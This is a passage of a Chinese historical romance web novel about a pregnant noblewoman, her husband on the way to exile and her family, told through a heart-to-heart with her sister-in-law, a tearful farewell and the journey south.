“行行行,哥哥不说你。”啧,妹妹可以说他,他却不敢再说她了。 宣文晟投降,环住她肩膀将她小心地转了个身,面对方沅沅,“来和你嫂嫂看看我们给你准备了什么礼物,我去教训你夫君。” 教训? 宣槿妤咬着唇,也不去看方沅沅手中的小盒子,偷偷瞥那两个男人。 宣文晟早有预料,转身时偷偷笑了下,将苏琯璋推出门外,“妹妹你和你嫂嫂回房说说话,三哥哥替你出气。” 哎呀! 宣槿妤忍不住往门口方向走了两步,只很快又想起方才苏琯璋大力拧断她头发的事,又站住了脚步。 她纠结的模样落在方沅沅眼中,逗得方沅沅忍不住捂住嘴偷笑了下。 “好了,妹妹,别管他们男人间的事。” 方沅沅将小盒子盖好,先是放进怀里,再去挽住宣槿妤的手臂,将她往屋子方向带,“正好他们碍事的男人不在,我们也来说些女儿家的悄悄话。” 等到进了房门,走到床边见到地上那一把断发,方沅沅一怔。这些都是妹妹掉的? 她不由抬眼去看宣槿妤半披散在肩侧的一头秀发。 “三嫂嫂你也见到了,这都是苏琯璋那臭男人干的。” 40-50 第41章 第41章女儿家的心事 宣槿妤坐在床边,见嫂嫂惊奇的目光在地上的断发和自己头上来回游移,一副欲言又止的模样,索性直说了。 “他那粗人,自己的头发怎么造我不管,可他拧巾子似的来拧我的头发。”宣槿妤抱怨着,此时她已经没有方才那股强烈想哭的愿望了,可还是气。 “他就是个莽夫,臭男人,哼!” 方沅沅不由点头,妹婿的确有点过分了,怎么能这么对待妹妹的头发。 她小心地将宣槿妤的长发散开,从梳妆台上拿过梳子替她梳着,“妹妹这头发养得真好。” 她不好附和宣槿妤的话去说苏琯璋的坏话,只歉意 笑笑。 “我是想着,你和妹夫这一路都习惯自己动手了,这庄子上也没什么丫鬟仆妇,都是些农家妇人,派来服侍你们也不合适。” “刚好我贴身的丫鬟嬷嬷都分到另几路去寻你们了,眼下当是才收到消息,在回庄子的路上。” “我和你三哥哥身边倒是还另带了几名小丫鬟,可她们原也不在我们跟前伺候,都是路上买来跟你侄子玩儿的,还小,也不适合派给你们。” “若是知道妹夫不会这些事,我就自己来了。” 宣槿妤摇摇头,“三嫂嫂别说这些,我们原也不需要人伺候。” 虽然从前她也是丫鬟不离身的娇小姐,但流放路上这才几日,她已经习惯了事事都由苏琯璋伺候,也不适应别人来帮她了。 想到这里,她咬着唇,“三嫂嫂你说,他在别的事上心思倒是细腻,怎么这会儿又如此粗心大意了呢?” 娘亲不在这里,眼下也只有和她亲近的娘家三嫂嫂在,她终于将这一路攒着的疑问吐露出来。 方沅沅心道,果然妹妹心里是有妹夫的,只是姑娘家害羞,妹夫又是那样一副性子,也怪不得她不肯表现出来。 她轻笑着,“妹妹不知,他们男人啊,都是这样的。” 宣槿妤惊异地看着方沅沅。 “你三哥哥就是这样,时靠谱时不靠谱的。”方沅沅对宣槿妤说,毫不避讳地在小姑子面前埋汰自家夫君。 宣槿妤下意识想为自家三哥哥说话,但很快想起宣文晟曾经干过的不靠谱的事情来,便没有说话,静静听着方沅沅继续说。 “妹妹你方才听你三哥哥说是去教训你夫君对不对?但你信不信,他出了院门就忘记这回事了?” 嗯?三哥哥会……吗? 好像……确实会。 宣槿妤放下对苏琯璋的担忧,忍不住捂着唇笑了。 “看来三嫂嫂这几年跟着三哥哥在外面跑,领教过不少回。” “可不是,我跟你说,有一回……”方沅沅憋了几年的话,终于有人可以倾诉,便毫无顾忌地说了出来。 说得宣槿妤频频点头,忍不住跟着方沅沅的情绪又气又笑。 说起来,她这里也有一桩关于三哥哥的趣事。 “三嫂嫂你是不知道,有一年我们三兄妹到郊外踏青,大哥哥叫三哥哥带食盒。结果他食盒是拿了,但出门时却不知道随手放哪里去了,然后没带。” “最后马车都走了一半,他还得遣人回家去找食盒,最后发现食盒被猫儿打翻了。” 宣槿妤捂着唇笑起来,“然后娘亲只好又让厨房给我们重新做了一份带上,那晚回家后,三哥哥可是被娘亲好一通数落。” “竟还有这事?”方沅沅这时也替宣槿妤梳顺了发丝,摸了摸已经干了,便将梳子放回梳妆台。 “可见他们男人啊,就是如此粗心大意。”方沅沅下了结论。 宣槿妤认同地握住她的手,“三嫂嫂懂我。” 她撅着嘴,“但是三嫂嫂,三哥哥可比苏琯璋知情识趣多了,又会说话又会哄人。” 说到这里宣槿妤又开始不满,“他都没跟我说过好话。” 瞧瞧刚刚她哭起来的时候苏琯璋是怎么哄人的?再看看宣文晟是怎么哄她的? 可恨苏琯璋这厮,这么多年惹她生气,连个礼物都不会送! 外出公差回来只会买袋糕点回来,她又不是馋猫儿,谁稀罕他巴巴带回来的糕点?平日里她又不是不会差使他去买! 再对比三哥哥,他在外见到好玩的都会想着自己。 宣槿妤爱惜地摸了摸被放在枕头下的小盒子,眼角余光瞥见地上刺目的一团乌发,越发气恼。 方沅沅摸了摸气鼓鼓的小姑子。 都当娘的人了,还能保持这份少女心性,也不知是好事还是坏事。 当是好事的罢? 话都说到了这里,想着刚出门时宣文晟对她的话,方沅沅有些犹豫。 “夫人,我到底是男子,不好和妹妹说贴心话。”宣文晟说,“我瞧妹妹心里是有妹夫的,但她总嘴硬。” “现下是个好机会,不若你抽空问一问?” “当然,没找到机会也没事。我今后一年都会跟着他们,我找个机会探一探槿妤的心思也行,夫人你莫要有心理负担。” 想到这里,方沅沅定了定心,起身离了凳子,坐到床上贴近宣槿妤。 这里就只有她们姑嫂二人,三嫂嫂怎么还这么神神秘秘的? 宣槿妤也起了好奇心,也挪了挪身子靠在方沅沅身上,“三嫂嫂有悄悄话要和我说?” 因为好奇和兴奋,她眼睛里亮亮的。 才哭过的双眼水洗似的晶莹剔透,里头光华流转,险些让方沅沅看得回不过神。 听到宣槿妤的问话,方沅沅才回了神,小声问她,“槿妤,你和妹夫,你是怎么想的?” 她瞧着妹妹和妹夫像是比过去三年感情还要好些,但夫君非说这两人之间还梗着一道坎儿,一直过不去,尤其是妹妹。 宣槿妤和方沅沅姑嫂二人感情也十分要好,但其实还不到可以推心置腹的地步。 但此时她背井离乡,唯一可以诉说心事的娘亲也远在京城,这里她能说的人也就只有三嫂嫂了。 想着,宣槿妤眼神黯淡下去,像是星子归于黑夜。 她鼻子一酸,已经开始哽咽,“三嫂嫂,苏琯璋他心里藏了别人。” 话一旦出口,要继续说便容易很多了。 她将这三年的委屈和苏家出事那日她听到的那两个嬷嬷的对话告诉了方沅沅。 时隔大半个月,她仍旧记得清晰。 也仍旧记得,她骤然听闻苏琯璋心里有人时的心痛如绞。 宣槿妤捂紧小腹,“三嫂嫂,我好恨,但我又放不下他。” “娘亲让我跟着我的心走,我想报复他,但这几日,我又常常忽视了这股怨气。” 她制定的折腾苏琯璋的计划,都没怎么实施。 她恨恨地咬着帕子,她可真是太亏了。 竟还有这样的事? 方沅沅吃了一惊。 但她很快冷静下来,和宣槿妤分析着,“这两个婆子出现的时机倒是巧合。早不说晚不说,就在苏家出事的当口躲在假山后面嚼舌头,还被你听见了。” 宣槿妤点头,其实娘亲也和她分析过。 她琢磨了大半个月,觉得这可能是苏琯璋这厮给她设的局,就为将她激怒,和离归家,好挣脱苏家这桩浑水。 “可我还是在意,”宣槿妤说道,“而且娘亲替我打听到,还真有这么个姑娘,在那个时候和离归京。” 就是不知道她是否真的是苏琯璋的心上人。 若是假的还好,苏琯璋骗她,她收拾他一顿也就气消了。 可若是真的……那苏琯璋这臭男人就更加可恨了。 “不若,妹妹你直接去问妹夫?”方沅沅给她出主意,她实在不忍心看着钟灵毓秀的小姑子为情所困。 这样黯然神伤的模样不适合她,她宣槿妤就该是翱翔九天的凰,高高在上自由自在无忧无虑的才好。 “我……我不敢。” 宣槿妤将头靠在方沅沅身上,眼中又开始有水雾聚集,“三嫂嫂,我好不容易和他这样融洽。若是说穿了,他心里真的有人……” 她还要和他们苏家人一起去往淮招县生孩子,话一旦说开了,她知道他心里真的有别人,那这一路还有大半年,她可要怎么过? 是以,那日盛京城外十里亭上,被来送行的常家人和许家人打断她的质问之后,她也不敢再起那和苏琯璋对峙的心思了。 即便那日夜里住驿站,苏琯璋想和她解释,刚起了个头,她便推说她已经知道答案了,日后不必再提。 她看得出来,苏琯璋是真以为她想明白了,也就放下了心,哪里想得到她竟是不敢听。 被家人捧在掌心长大的姑娘,一朝尝到情爱的苦楚,竟也失去往日的大胆明媚,忍不住退缩起来。 方沅沅心疼地揽住宣槿妤,“槿妤……” 她也不知道该说些什么才好。 总归事情的症结出现在他们夫妻之间,二人的性情天差地别,才有如今进退两 难的局面。 “三嫂嫂,我知道是三哥哥让你来套我话的。”宣槿妤忽然说道。 方沅沅拍着她背部的手一顿。 被看出来了? 她面上不觉露出一点不自在来,但心里不由有些宽慰。 宣文晟这厮还常和她感慨说他妹妹是个笨蛋美人,可她瞧着,妹妹还是挺机敏聪慧的嘛! 第42章 第42章兄弟争宠 “但三嫂嫂你不要告诉三哥哥好不好?” 宣槿妤转头和方沅沅对视,“三哥哥留下你们母子独子在京,心里负担已经很重了,我不想他因为我和苏琯璋的事心里再起波澜。” “可是槿妤,你哥哥也是会看出来的。”方沅沅实话实说,本就是宣文晟看出来后找她来和槿妤谈心的。 “看出来就看出来。”宣槿妤嘟哝道,反正从小到大,最了解她心思的从来不是大哥哥,而是三哥哥。 “可是女儿家的心思,怎么好意思让哥哥知道?”便是亲哥哥也不行。 方沅沅失笑,点点宣槿妤的鼻尖,“傻姑娘,你哥哥又不会笑话你。” “嫂嫂,就不要让哥哥知道嘛!”宣槿妤见说不动方沅沅,便开始撒娇。 她生得好,声音也清甜,一撒起娇来家里人本就难以招架;且她如今去掉序齿,只口称哥哥嫂嫂,便显得和方沅沅越发亲昵了。 果然方沅沅连抵挡的缓冲时间都没有,直接就招架不住了,连声答应了她。 目的达到,宣槿妤冲她露出个甜甜的笑。 “我们槿妤这么好的姑娘,是该宠着的。”方沅沅叹道。 也就大嫂嫂不知道怎么回事,竟连这样好的小姑子都看不顺眼,心里容她不下。 还有妹夫,可恨生了那样隽秀俊朗的容貌,竟是个木头性子! 方沅沅回去时,果真没将姑嫂二人之间的贴心话告诉丈夫宣文晟。 宣文晟问了,她也只答:“姑娘家的心事,你就别打听了。” 宣文晟:“……” 就是姑娘家的心事,他不方便打听,才让妻子去试探妹妹的,怎么到头来,堵他的还是这句话? 不过,既然妻子这样说,定然是宣槿妤和她说了要对他这个哥哥保密的事,他也只好作罢! 妹妹不想他知道的事,他就不知道好了。 却说苏琯璋回到房里时,方沅沅正照顾着刚睡下的宣槿妤。 她有孕在身,本就比寻常人更容易发困,且情绪还有了几次起伏,才躺下便很快睡了过去。 方沅沅只对苏琯璋点点头,什么也没说,带上门就离开了。 该说的话,想必夫君已经说了,她一个娘家嫂子,也不好和妹夫多说什么,免得说多错多,给小夫妻俩带去什么麻烦。 苏琯璋将地上的断发捡起来,放进心口的荷包里——这还是他最后一次出公差的时候,从宣槿妤用旧了收拾起来的小匣子里拿的。 他取出匕首,将自己的头发割下一截,同宣槿妤的头发放在一处,挽成了一个简化过的同心结,再将荷包放回中衣内。 他熄灭烛火,躺下时十分熟练地将宣槿妤揽入怀中,就着窗外洁白的月光凝视着她的睡颜。 当年他和宣槿妤新婚之夜二人结发的香囊,在禁军统领袭放带人包围苏国公府之前,就已经被他藏在苏国公府荆竹园中,并被埋在了深深的地下。 他当时想着,槿妤不受牵连,即便他上了断头台也不会再有遗憾。那个香囊,就当作是他的私心,将陪他长埋地下。 可如今,他又有了一个象征着二人结发的荷包。 宣槿妤原是睡得有些不安稳,感受到熟悉的胸膛和温度,脑袋禁不住蹭了蹭,才安然睡去,这时便睡沉了。 苏琯璋在她发上吻了吻,感受着胸口贴着的暖意,闭上了眼睛。 “槿妤。”堕入睡梦中前,他想对熟睡的妻子说句什么话,但话到嘴边,也只剩下她的名字被吐露出来。 一夜好眠。 翌日,众人在用早膳时,庄子管事来报,庄子外来了一位贵人,是来找宣文晟这个庄子主人的。 宣文晟放下筷子,对正看着他的众人道:“当是家里来人了,我出去看看。” 他摁住要一同起身的宣槿妤,“我出去就好,你们继续吃,我也用好了。” 方沅沅坐着没动,一来她是女主人,要留下招待客人。二来…… 她鼻子已经开始发酸了,只强忍着不让旁人看出来。 家里来人了,就意味着他们母子俩要跟着家里人回盛京,而宣文晟要继续南下和苏家人一起去淮招县。 一家三口就要分别了。 纵然这段时日她早有心理准备,这几日夜里他们夫妻二人该交代的都交代好了,该说的离别不舍之言也说够了。 只人之常情,心里难免还是舍不得。 宣槿妤伸手握住三嫂嫂放在桌下紧扣着的双手,冲她抱歉地笑了笑。 方沅沅很快收拾好自己的情绪,无声对着小姑子说了句“没事”。 她去看坐在一旁的儿子。 秩哥儿对于即将到来的和父亲的别离一无所知,正一口接一口吃着乳母喂过来的的肉粥。 见父亲起身要走,坐在高凳上的秩哥儿咽下口中的粥,推开乳母再次递到嘴边的勺子,高声叫起来。 “爹爹,爹爹,我也去,秩哥儿也要去。” 生怕父亲不带他,他甚至还站了起来,丝毫不知道这样做可能带来的危险。 大人们皆被他吓了一跳,乳母忙起身护着他。 宣文晟大步走过来,将儿子抱到怀中,问他:“你吃好了?” 秩哥儿对他笑得很甜,“秩哥儿饱了。” 宣文晟去看被乳母放回桌上的粥碗,见还只剩下碗底的部分,又去摸秩哥儿的肚子,见已经微微鼓起,便同意了。 “爹爹带你去。” “好耶!”秩哥儿愉快地在父亲怀里荡起双脚。 宣文晟对苏家人微微颔首,便抱着儿子走了出去。 重新拿起筷子吃早食的众人还能听见他边走边教育着儿子,“秩哥儿,你知不知道你刚才站在高凳上有多危险?没有下次了,听到没有?” “秩哥儿知道了。”童声里带了些许委屈。 …… 众人本就吃得差不多了,宣文晟走出饭厅没多久,方才还没吃饱的人也放下了筷子。 盆盏碗筷被撤了下去,方沅沅见大家都坐在厅里也无聊,便提议出去走走消消食,众人无可无不可地应了。 正走着,很快就见到宣文晟带着人在往回走。 此番宣家来的人竟还是位主子。 “大哥哥。”宣槿妤又惊又喜地叫道。 来人正是宣家嫡长子宣文威,此时听到妹妹在叫他,便应了一声,加快了脚步。 几日未见,兄妹二人都十分欣喜。 “我以为要好久都见不到大哥哥了。”宣槿妤站在兄长面前,抬头看他,眼圈已经开始泛红。 站在一旁的宣文晟不乐意极了,“妹妹,你昨日见到我的时候都没哭,怎么见到大哥眼圈就红了?” 苏琯璋低头去看宣槿妤,果真见她眼圈都红了,攥着她手腕的手便是微微一顿,很快放松了力道。 宣槿妤还没回答,宣文晟就继续阴阳怪气,“妹妹,说实话,你是不是更喜欢大哥了?明明之前还说更喜欢三哥哥的。” 宣文威:“……” 几月不见,他这三弟越发矫情了,也不看这是什么场合。 再说,他吃个哪门子的醋?妹妹明明自小就和他最要好,自己都还没说什么呢! 苏琯璋:“……”三舅兄性子果真与众不同。 不过,槿妤当真说过更喜欢三哥哥? 他微微打量着说出这样一番让人惊诧的话来却仍不改面色的宣文晟,竟然察觉到了心里的不满,不由收 回目光。 宣文威:“三弟慎言,槿妤明明更喜欢我这个大哥哥。” 见宣槿妤情绪还有些不大好,宣文威难得加入宣文晟的醋言醋语中来。 宣文晟不敢置信地看着自家大哥,这还是自己那个自持府中长兄的身份而从不与弟弟妹妹争锋的大哥吗? 不过他反应也很快,知道大哥在配合他,顿时不甘示弱,“大哥胡说,妹妹最喜欢她三哥哥我了。” 一旁的苏家人都看呆了,一时面色各异,简直恨不得自己会那传说中的隐身术才好,免得在这儿听这宣家兄弟间的争风吃醋。 简直尴尬透了。 一旁的方沅沅:“……” 她心里的惆怅终于散去,只揶揄着去看兄弟话语中的主角儿宣槿妤。 宣槿妤也是想不到自家兄长会当着众人的面争论起来,三哥哥还好,他自小便无厘头,家里人也都习惯了。 但是大哥哥竟也配合着三哥哥胡闹,她是真想不到,一时怔愣了片刻。这会儿被方沅沅轻轻捅了捅手臂,才回过神来。 “好啦,两个哥哥我都喜欢。” 宣槿妤挣开苏琯璋的微微扣在她手腕处的大掌,一手将一个兄长牵住,“秩哥儿还看着呢,哥哥们快别说了,当心秩哥儿笑话。” 她去逗被宣文威抱在怀中的小侄子,“对吧?秩哥儿?方才你大伯父和你爹爹是不是很幼稚?” 秩哥儿一脸懵懂,方才父亲和大伯父之间的争风吃醋他是一点也没听懂,此时听小姑姑问他,只下意识点头。 这下宣槿妤是真的撑不住,笑了出来,“好秩哥儿。” 她这一笑,方沅沅也忍不住偏过头去笑了。 真稀奇,一贯有长兄之风的大伯子竟也会如此,嗯,就是妹妹说的“幼稚”,这个词真是用得再贴切不过。 第43章 第43章没错,小婶婶最喜欢小叔…… 这时,听了半晌的慕哥儿再也忍不住,去问他的兄姐们,“哥哥姐姐们,小婶婶不是最喜欢小叔叔吗?” 他还记得前两日在密林里时祖母说小婶婶心疼小叔叔的事,“为什么他们都说,说小婶婶……” 他年纪还小,有些记不大清宣文威和宣文晟说的什么“妹妹更喜欢谁”的话了,只说了一半便挠挠头,嘿嘿笑着,不好意思地去看六位兄姐。 一旁听到他问话的大人们都忍不住偏头去笑,宣槿妤的婆家嫂嫂们更是忍不住揶揄地盯着她,直看得她面上发烫。 偏偏这时彤姐儿摸摸小堂弟的头,还肯定了他的疑问,“慕哥儿你说的没错,小婶婶最喜欢小叔叔了。” 彤姐儿话一出,其余四个比她小的便开口附和;就连她的兄长启哥儿,也跟着一本正经地点了头。 这下,便是宣槿妤娘家嫂嫂方沅沅也忍不住用促狭的目光去看她——昨夜二人才说过贴心话,她最是知道真相不过。 唯二满头雾水的宣文威和宣文晟兄弟默契地去看宣槿妤,她是和苏家孩子们说了什么?为什么他们都这么肯定妹妹的心事? 宣槿妤窘迫到连脖子都是红的,想要否认,但她总不能当着大家伙的面儿跟孩子们说她不喜欢他们小叔叔吧? 她转身将头埋在苏琯璋怀里,恨恨地捶了他一拳。 为什么他的侄儿侄女们都说是她喜欢他?就不能是他喜欢她么? 再怎么舍不得,也要分别了。 庄子外头有个凉亭,就建在池塘边上,微风习习,是宣文晟专门让人建了供在农田里干活儿久了想要歇一歇的农户们纳凉用的。 此时凉亭里只站了宣家一家人,以及宣家女婿苏琯璋。 宣文威仍旧抱着侄子,对着三弟微微颔首,“三弟放心,弟妹和侄子在家不会受委屈的,你且安心便是。” 宣文晟摸了摸秩哥儿的小脸蛋,看着全然不知要很长时间见不到父亲的儿子,“秩哥儿还记得爹爹这几天和你说的话吗?” 秩哥儿点头,掰着手指头,“要听祖父祖母的话,要听娘亲的话,要听大伯父二伯父……的话。” 他一个一个点过去,将家里的长辈点了个遍。 宣文晟失笑,难为儿子小小年纪,又几月不回京,竟还记得家里都有哪些人。 “秩哥儿说对了,奖励你吃一块糖。”宣文晟随手从袖中掏出一块饴糖,递给因被爹爹夸赞而兴奋不已的儿子。 “爹爹给秩哥儿拆开。” 宣文晟便接回来,拆开后放到他嘴里,“接下来一段时间,爹爹要和小姑姑去一个很远的地方,不能陪你了。” 他控制着自己的情绪,“秩哥儿要乖乖听娘亲的话,想爹爹的话就叫娘亲给爹爹写信好不好?” 这也是爹爹说过的话。秩哥儿吃糖吃得两颊鼓鼓的,含糊不清地应了声“好”。 “爹爹想秩哥儿了,也给秩哥儿写信。”才两岁的小人儿,说话已经很流利了,想来和方沅沅常教他背诗有关。 宣文晟鼻子一酸,“好,我们拉钩。” 方沅沅眼眶一热,忙别过头。 宣槿妤将头埋在苏琯璋怀里,无声地流着泪。 “走吧,我送你们上马车。”宣文晟收拾好情绪,对宣文威说道。 他将方沅沅的手拉过来,紧紧握了一下,还想说些什么,被她阻止了。 “你有空就往家里寄信,”方沅沅眼里含着泪,唇角却带着笑,“别担心我们母子俩。” 宣文晟终于忍不住,顾不得还在人前便将妻子紧紧抱在怀中。 宣文威转头避开,温和地对着哭成泪人的宣槿妤道:“信我会亲手交给外祖父和爹娘的,你也别哭了,当心身子。” 宣槿妤埋在苏琯璋怀里,只是点头,不敢开口。 秩哥儿嘴里还含着糖,好奇地看着抱在一起的爹爹和娘亲,小姑姑和小姑父,又去看正抱着他的大伯子,干净清澈的眸中一派懵懂。 宣文威摸了摸他的头,将他的小身子按在自己怀中。 “走咯,大伯父带你回家。” “好耶,回家咯!”秩哥儿只听懂了回家二字,顿时欢呼雀跃起来,稚嫩的童声将刚要落下的鸟雀惊走。 凉亭外翅膀的拍打声终于将宣文晟和方沅沅的心神唤回,二人分开,双目对视,一切尽在不言中。 “槿妤,陪三嫂嫂再说会儿话吧!”方沅沅擦了擦眼角,走到宣槿妤身边,温声叫她。 苏琯璋拍拍她的背,微微后退一步,将她拉出自己的胸膛,“我在这里等你。”他用帕子将她的眼泪擦干,语气很是温柔。 他这样难得的温柔宣槿妤却是没有心思在意,也根本没听出与他平常的语气有什么区别。 她跟着方沅沅走到凉亭外、马车边上。 车夫是宣家老人了,见自家小姐和三少夫人显然是一副要谈事的模样,便冲着二人行了一礼,控制好马,走到一旁去了。 “三嫂嫂。”宣槿妤愧疚地开口唤方沅沅,却不知道该说些什么。 “傻姑娘,别什么事都揽上身。”方沅沅将宣槿妤沾在脸上的发丝轻轻挽回她耳后,“别觉得对不起我们,我只知道,我们是一家人。” 宣槿妤哽咽着不住点头。 方沅沅伸手抱住她,附在她耳边,“妹妹,若你觉着妹夫是个良人,别管他以前心里装着谁,你让他以后心里只有你就行了。” 这是她还未遇到宣文晟,尚待字闺中时,母亲曾教她的话,现在由她再来教给小姑子。 “也别委屈了自己,我们宣家的姑娘,就该明媚如烈阳。” “也别看路上这么多人看着,担心失了面子。别忘了,你还有身孕呢!有孕的妇人,脾性阴晴不定是很正常的。” “你不是说常忘了委屈吗?平时忘了就忘了,心宽体胖嘛!” 方沅沅给宣槿妤出着主意,“只若是身子不舒服,不要忍着,他是你夫君、是你肚子里孩子的父亲,你再怎么使唤他都是应当的。” “你只管按着心意来,闹也好哭也好。我冷眼瞧着,妹夫还是挺吃你这一套的。”她忍不住笑。 妹妹从前一和妹夫闹脾气,若是苏家人哄不住,便会赌气跑回宣府。 她可是听婆母林清婉说过,妹妹一回娘家,妹夫是一下值就巴巴地跑到宣府去找人的。 就连她这个常年随宣文晟在外跑商,不常回盛京城的人,也有幸见识过一回。 她昨夜回房后琢磨了许久,觉着这小夫妻二人性子天差地别也不全然是坏处,毕竟一物降一物嘛!他们夫妻二人之间就是被彼此吃得死死的。 宣槿妤惊讶地听着三嫂嫂一番肺腑之言,连离别的愁绪都忘了。 方沅沅怜惜地看着被自己一番话震懵了的小姑子,“我昨夜想了许久,觉得妹妹你以前就做得很好。今后还是随着自己性子和心意过活,你们之间定是能美满的。” 宣槿妤红着脸,直到目送宣文威骑上了马,方沅沅和秩哥儿上了马车,还想着方才三嫂嫂的那一番话。 “我们先走一步。”宣文威确认弟妹和侄子已经坐好后,便冲送行的一众人颔首,“诸位保重,我们在京中等着你们。” 亏得陈阳王虎他们知道宣家人要回京,不便围观人家的依依惜别的场面,主动留在了外院没有出来。 不然就宣文威这样坦坦荡荡地说着“在京中等着”的话,他们也不知道该不该觉着他是在违抗圣意。 就观皇帝的圣旨,虽然他写漏了定罪之事,但上头写的密密麻麻的字字句句,可都是让苏家人好好在广虚府待着、别想动什么“歪心思”的话啊! 甚至王虎还大逆不道地在心里嘀咕过,莫非陛下是写的字太多太入情,才一时将定罪的事情给忘记了。 “保重。”宣槿妤眼泪又流出来了。 宣文威最后回头看了一眼妹妹,便狠下心,对着前方的人示意可以离开了。 马儿跑了起来,套着车厢的马儿也在蓄势待发,等候着车夫的指示。 宣文威带着一众侍卫护持在方沅沅母子俩的马车两侧,走在了队伍中间。 前方是带头的府中侍卫,有数十名;中间偏后的位置也跟了几辆马车,坐着的是随行的丫鬟仆妇;队伍末尾,也同样有数十名侍卫随行。 因为从这灵峰山到盛京城,乘坐马车也不过大半日的路程,且宣文威来时有所准备,故而这一行人的行李并算不上多,一辆马车就装下了。 但这样浩浩荡荡的一行人,行头竟也不输他们这百多人的队伍。 等北上的队伍消失在他们视线尽头,也到了南下这队人该继续上路的时候了。 方沅沅没有带走的大半行李,都被宣文晟装进了他的车队,假作行商,一路跟着苏家人去往广虚府。 有了陈阳的事先提醒,宣文晟明面上并没有带太多人。 陈阳见他只带了五辆马车,十名侍卫和做饭的两名仆妇就跟着上了路,便没有说什么。毕竟不过是替换了刑部置办的那几辆马车,又多了些许人而已。 而远远缀在队伍后头,一副行商模样仿佛只是无意中与他们同行的车队,他和王虎商量过后,也只睁只眼闭只眼假作不知。 至于暗处这位宣家三公子还有没有安排人,安排了多少人跟着,他们也无从知道,更是没有合适的理由去阻拦。 二人面面相觑,只双双苦笑,昨日还以为这位宣三公子听进了他们事先的告诫,却没想到,被他以这样的方式反将了一军。 而他们却没有任何站得住脚的理由去指责他不守信用。 不过除却这个小插曲,这支队伍在有宣文晟的加入后,非但没有他们以为的以势压人,让他们为难;反而出乎他们的意料,他的表现相当低调。 只给苏家人尤其他妹妹宣小少夫人以必要的优待外,他再没有多余的动作,也如他所答应的那样,行程由着他们安排,并不干涉。 如此,陈阳和王虎便彻底放下了心底的戒备。 一行人在路上又走了三日,有了马车,他们的速度终于快了起来。 虽说马车为照顾怀了身子的宣槿妤,担心她受颠簸,行驶的速度堪比步行,但好歹不用走走停停了。 他们也终于不必强行压着步速,憋屈地照着妇孺孩童的速度来行走,能够放开步子,走得可谓是步步生风。 第44章 第44章谁让你不肯让三哥哥抱我…… 四月初一的暴雨,果真是个预警。 南下去往广虚府的一行人只又享受了不到十日的晴好天气,便迎来了兜头的阴雨。 这场阴雨一连缠绵了大半个月,如今时间已经来到了五月。 宣槿妤腹中的孩子已经四月有余,宽松的衣裙再也遮掩不住她的身形。 虽说只从背后观察还是名窈窕佳人,但从正面或侧面看都能见到她微微隆起的腹部,像是卧在平地的一处小山丘,不起眼但绝对明显。 每逢休息时孩子们凑到宣槿妤身边的次数也多了起来,叽叽喳喳的,对着宣槿妤的肚子就是一口一个“弟弟”或“妹妹”。 三名女孩儿一口咬定小婶婶肚子里的是妹妹,四名男孩儿则信誓旦旦说是弟弟,双方互不相让,谁也说服不了谁。 夜里睡下前宣槿妤想起侄子侄女们可爱的争锋,不由趴在苏琯璋身上笑了好一会儿。 苏琯璋正专心地为她擦着头发,他如今擦头发的技艺已经十分娴熟,灵巧程度不输宣槿妤的贴身丫鬟。 眼下他感受着趴在自己胸膛上的娇软身子在不住颤抖,不由偏头去看她,便看到了她脸上愉悦的笑容。 不过他也不敢去问她为何发笑——随着月份增大,宣槿妤的性情就开始阴晴不定起来,心情好坏都来得突然去得也突然。 他这段时日又恢复到了还未被流放前,在苏国公府荆竹园时的状态,总担心会惹到她,说多错多,干脆沉默以对。 幸好宣槿妤这段时日已经不再因为他的清冷寡言而对他心生不满,她近来倒是因为身子的变化而敏感,掐他咬他的次数也多了起来。 不过他也只受着,也没有半点不满。 “你说,”察觉苏琯璋在看自己,宣槿妤顺势问道:“我肚子里的是儿子还是女儿?今日燕姐儿和慕哥儿又吵起来了。” 她想起这对亲姐弟吵起来僵持不下时互相朝对方冷哼,自以为己方气势颇凶、实则怎么看怎么可爱的趣致场面,又笑了起来。 前些天日日下雨不适宜出行,孩子们被拘在驿站里,只能在各自不大的房间里待着,就是在那时候他们养成了猜测宣槿妤腹中孩子是男是女的习惯。 也是那时候,苏家人才发现,苏琯武和丁茜茜这双儿女竟是互相“不对付”,姐弟间好起来是真好,一旦争执起来也是真让人头疼。 清甜悦耳的笑声近在颈侧,苏琯璋只觉脖子痒痒的,心里也痒痒的。 “你想知道?”苏琯璋问她,清冷低沉的嗓音里已经带上了微不可察的一丝克制过后的哑意。 三日前他已经诊出她腹中孩子的性别,想要告诉她。 但宣槿妤说她不想现在知道,不然会失去孕期猜测男孩儿还是女孩儿的快乐,也少了一分期待感。 反正等到孩子出生时她自然会知道孩子的性别,是男是女都是他们的孩子,她都喜欢。 宣文晟和其余苏家人也是这个意思,双方现在准备孩子的小包被、小衣裳、小袜子等小物件儿时都是分了双份,按男女不同颜色来准备的。 如此便显得唯一知道孩子性别的苏琯璋实在格格不入,他还被宣槿妤逼着不许插嘴。 不过依他的性子,便是宣槿妤没有发话,他也不至于去破坏家中人的兴致。 宣槿妤察觉到苏琯璋擦拭头发的动作已经停了下来,便坐直了身子,“我不想知道,你不要告诉我。” 生怕这男人要和她作对非要告诉她,宣槿妤还捂紧了耳朵。 苏琯璋被她可爱的反应逗得心里一软,面上也不自觉柔和下来,将她的双手拉下来握在双掌间,“好,我不告诉你。” 她肚子虽然也才刚显怀没多久,但是他亲眼见着一天天隆起来的,也是他日日为她把脉,观察着孩子的发育情况。 且她腹中孕育的是他们的孩儿,身上流着他们二人的血液,宣槿妤虽不知这男人心里是何作想,但她感受得出这男人对她的小心翼翼在与日俱增。 宣槿妤面上也添了一层柔软,将他的手牵引着放在自己腹上,“你说,它什么时候会动啊?” 她这时候声音里就多了一层为人母的温柔和慈爱,配合她全然放松温软下来的眉眼,很能触动人的心扉。 苏琯璋抽回左手,将她抱坐在自己腿上,右手仍旧由她拉着置于她微微隆起的腹前。 “快了,”他忍不住在她的眉心亲了亲,“一般是四到五个月就会有胎动,再等等。” 今夜他们住的不是驿站,而是许玉娘的陪嫁庄子,庄子管事依着吩咐分给他们的是一座单独的小院子,很是清静。 就像宣槿妤对方沅沅说的,她如今已经不适应旁人来伺候她了。 如今她沐浴时都是苏琯璋在帮她。 许是彼此才袒露过身子,又适逢连绵雨天,窗外滴答滴答的雨声放大了人心里的渴望。 二人双目相对时,彼此眼神中的缠绵情丝再也遮掩不住,夫妻间有些事便自然而然地发生了。 顾忌着宣槿妤的身子,苏琯璋只略略尽了兴便收敛了心思。 再次洗浴过后,身心皆得到满足的宣槿妤躺下时下意识依偎进他怀中,才闭上了双眼。 苏琯璋亲了亲她的额头,又细细替她诊了脉,确认二人方才的一番动作没有伤到孩子,才放心睡去。 